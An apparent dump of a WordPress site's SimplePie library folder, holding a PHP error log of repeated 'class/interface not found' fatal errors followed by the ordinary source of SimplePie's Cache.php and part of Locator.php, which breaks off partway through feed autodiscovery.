[23-Dec-2025 11:33:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[23-Dec-2025 11:33:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[23-Dec-2025 11:33:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[23-Dec-2025 11:53:43 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[23-Dec-2025 11:53:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[23-Dec-2025 11:54:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[23-Dec-2025 11:54:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[23-Dec-2025 11:54:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[23-Dec-2025 11:54:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[23-Dec-2025 11:54:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[24-Dec-2025 14:45:35 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[24-Dec-2025 14:45:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[24-Dec-2025 14:46:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[24-Dec-2025 14:46:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[24-Dec-2025 14:46:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[24-Dec-2025 14:46:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[24-Dec-2025 14:46:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[24-Dec-2025 15:10:59 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[24-Dec-2025 15:11:08 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[24-Dec-2025 15:11:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[24-Dec-2025 15:11:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[24-Dec-2025 15:11:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[24-Dec-2025 15:11:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[24-Dec-2025 15:11:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[04-Jan-2026 10:04:41 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[04-Jan-2026 10:04:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[04-Jan-2026 10:04:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[04-Jan-2026 10:04:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[04-Jan-2026 10:04:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[04-Jan-2026 10:04:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[04-Jan-2026 10:04:57 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[04-Jan-2026 10:14:35 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[04-Jan-2026 10:14:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[04-Jan-2026 10:14:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[04-Jan-2026 10:14:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[04-Jan-2026 10:14:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[04-Jan-2026 10:14:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[04-Jan-2026 10:14:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[06-Jan-2026 01:14:38 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[06-Jan-2026 01:14:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[06-Jan-2026 01:14:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[06-Jan-2026 01:14:56 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[06-Jan-2026 01:15:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[06-Jan-2026 01:15:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[06-Jan-2026 01:15:07 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[06-Jan-2026 01:27:57 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[06-Jan-2026 01:28:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[06-Jan-2026 01:28:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[06-Jan-2026 01:28:17 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[06-Jan-2026 01:28:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[06-Jan-2026 01:28:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[06-Jan-2026 01:28:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[06-Jan-2026 01:42:07 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[06-Jan-2026 01:43:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[06-Jan-2026 01:44:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[06-Jan-2026 01:45:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[06-Jan-2026 01:47:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[06-Jan-2026 02:00:41 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[06-Jan-2026 02:07:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[13-Jan-2026 23:47:10 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[13-Jan-2026 23:47:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[13-Jan-2026 23:47:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[13-Jan-2026 23:47:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[13-Jan-2026 23:47:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[13-Jan-2026 23:47:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[13-Jan-2026 23:47:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
[14-Jan-2026 00:07:52 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Core.php on line 53
[14-Jan-2026 00:08:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/File.php on line 21
[14-Jan-2026 00:08:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Item.php on line 17
[14-Jan-2026 00:08:16 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php:26
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Locator.php on line 26
[14-Jan-2026 00:08:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Parser.php on line 19
[14-Jan-2026 00:08:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php:34
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Sanitize.php on line 34
[14-Jan-2026 00:08:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\RegistryAware' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Source.php on line 17
Cache.php000064400000006260152222652070006267 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\Cache\Base;

/**
 * Used to create cache objects
 *
 * This class can be overloaded with {@see SimplePie::set_cache_class()},
 * although the preferred way is to create your own handler
 * via {@see register()}
 *
 * @deprecated since SimplePie 1.8.0, use "SimplePie\SimplePie::set_cache()" instead
 */
class Cache
{
    /**
     * Cache handler classes
     *
     * These receive 3 parameters to their constructor, as documented in
     * {@see register()}
     * @var array<string, class-string<Base>>
     */
    protected static $handlers = [
        'mysql'     => Cache\MySQL::class,
        'memcache'  => Cache\Memcache::class,
        'memcached' => Cache\Memcached::class,
        'redis'     => Cache\Redis::class,
    ];

    /**
     * Don't call the constructor. Please.
     */
    private function __construct()
    {
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @param string $location URL location (scheme is used to determine handler)
     * @param string $filename Unique identifier for cache object
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc'
     * @return Base Type of object depends on scheme of `$location`
     */
    public static function get_handler(string $location, string $filename, $extension)
    {
        $type = explode(':', $location, 2);
        $type = $type[0];
        if (!empty(self::$handlers[$type])) {
            $class = self::$handlers[$type];
            return new $class($location, $filename, $extension);
        }

        return new \SimplePie\Cache\File($location, $filename, $extension);
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead
     * @param string $location
     * @param string $filename
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension
     * @return Base
     */
    public function create(string $location, string $filename, $extension)
    {
        trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED);

        return self::get_handler($location, $filename, $extension);
    }

    /**
     * Register a handler
     *
     * @param string $type DSN type to register for
     * @param class-string<Base> $class Name of handler class. Must implement Base
     * @return void
     */
    public static function register(string $type, $class)
    {
        self::$handlers[$type] = $class;
    }

    /**
     * Parse a URL into an array
     *
     * @param string $url
     * @return array<string, mixed>
     */
    public static function parse_URL(string $url)
    {
        $parsedUrl = parse_url($url);

        if ($parsedUrl === false) {
            return [];
        }

        $params = array_merge($parsedUrl, ['extras' => []]);
        if (isset($params['query'])) {
            parse_str($params['query'], $params['extras']);
        }
        return $params;
    }
}

class_alias('SimplePie\Cache', 'SimplePie_Cache');
Locator.php000064400000040473152222652070006673 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use DomDocument;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;
use SimplePie\HTTP\Response;

/**
 * Used for feed auto-discovery
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_locator_class()}
 */
class Locator implements RegistryAware
{
    /** @var ?string */
    public $useragent = null;
    /** @var int */
    public $timeout = 10;
    /** @var File */
    public $file;
    /** @var string[] */
    public $local = [];
    /** @var string[] */
    public $elsewhere = [];
    /** @var array<mixed> */
    public $cached_entities = [];
    /** @var string */
    public $http_base;
    /** @var string */
    public $base;
    /** @var int */
    public $base_location = 0;
    /** @var int */
    public $checked_feeds = 0;
    /** @var int */
    public $max_checked_feeds = 10;
    /** @var bool */
    public $force_fsockopen = false;
    /** @var array<int, mixed> */
    public $curl_options = [];
    /** @var ?\DomDocument */
    public $dom;
    /** @var ?Registry */
    protected $registry;

    /**
     * @var Client|null
     */
    private $http_client = null;

    /**
     * @param array<int, mixed> $curl_options
     */
    public function __construct(File $file, int $timeout = 10, ?string $useragent = null, int $max_checked_feeds = 10, bool $force_fsockopen = false, array $curl_options = [])
    {
        $this->file = $file;
        $this->useragent = $useragent;
        $this->timeout = $timeout;
        $this->max_checked_feeds = $max_checked_feeds;
        $this->force_fsockopen = $force_fsockopen;
        $this->curl_options = $curl_options;

        $body = $this->file->get_body_content();

        if (class_exists('DOMDocument') && $body != '') {
            $this->dom = new \DOMDocument();

            set_error_handler([Misc::class, 'silence_errors']);
            try {
                $this->dom->loadHTML($body);
            } catch (\Throwable $ex) {
                $this->dom = null;
            }
            restore_error_handler();
        } else {
            $this->dom = null;
        }
    }

    /**
     * Set a PSR-18 client and PSR-17 factories
     *
     * Allows you to use your own HTTP client implementations.
     */
    final public function set_http_client(
        ClientInterface $http_client,
        RequestFactoryInterface $request_factory,
        UriFactoryInterface $uri_factory
    ): void {
        $this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
    }

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @param SimplePie::LOCATOR_* $type
     * @param array<Response>|null $working
     * @return Response|null
     */
    public function find(int $type = \SimplePie\SimplePie::LOCATOR_ALL, ?array &$working = null)
    {
        assert($this->registry !== null);

        if ($this->is_feed($this->file)) {
            return $this->file;
        }

        if (Misc::is_remote_uri($this->file->get_final_requested_uri())) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$this->file]);
            if ($sniffer->get_type() !== 'text/html') {
                return null;
            }
        }

        if ($type & ~\SimplePie\SimplePie::LOCATOR_NONE) {
            $this->get_base();
        }

        if ($type & \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) {
            return $working[0];
        }

        if ($type & (\SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION | \SimplePie\SimplePie::LOCATOR_LOCAL_BODY | \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION | \SimplePie\SimplePie::LOCATOR_REMOTE_BODY) && $this->get_links()) {
            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) {
                return $working[0];
            }
        }
        return null;
    }

    /**
     * @return bool
     */
    public function is_feed(Response $file, bool $check_html = false)
    {
        assert($this->registry !== null);

        if (Misc::is_remote_uri($file->get_final_requested_uri())) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$file]);
            $sniffed = $sniffer->get_type();
            $mime_types = ['application/rss+xml', 'application/rdf+xml',
                                'text/rdf', 'application/atom+xml', 'text/xml',
                                'application/xml', 'application/x-rss+xml'];
            if ($check_html) {
                $mime_types[] = 'text/html';
            }

            return in_array($sniffed, $mime_types);
        } elseif (is_file($file->get_final_requested_uri())) {
            return true;
        } else {
            return false;
        }
    }

    /**
     * @return void
     */
    public function get_base()
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }
        $this->http_base = $this->file->get_final_requested_uri();
        $this->base = $this->http_base;
        $elements = $this->dom->getElementsByTagName('base');
        foreach ($elements as $element) {
            if ($element->hasAttribute('href')) {
                $base = $this->registry->call(Misc::class, 'absolutize_url', [trim($element->getAttribute('href')), $this->http_base]);
                if ($base === false) {
                    continue;
                }
                $this->base = $base;
                $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
                break;
            }
        }
    }

    /**
     * @return array<Response>|null
     */
    public function autodiscovery()
    {
        $done = [];
        $feeds = [];
        $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
        $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
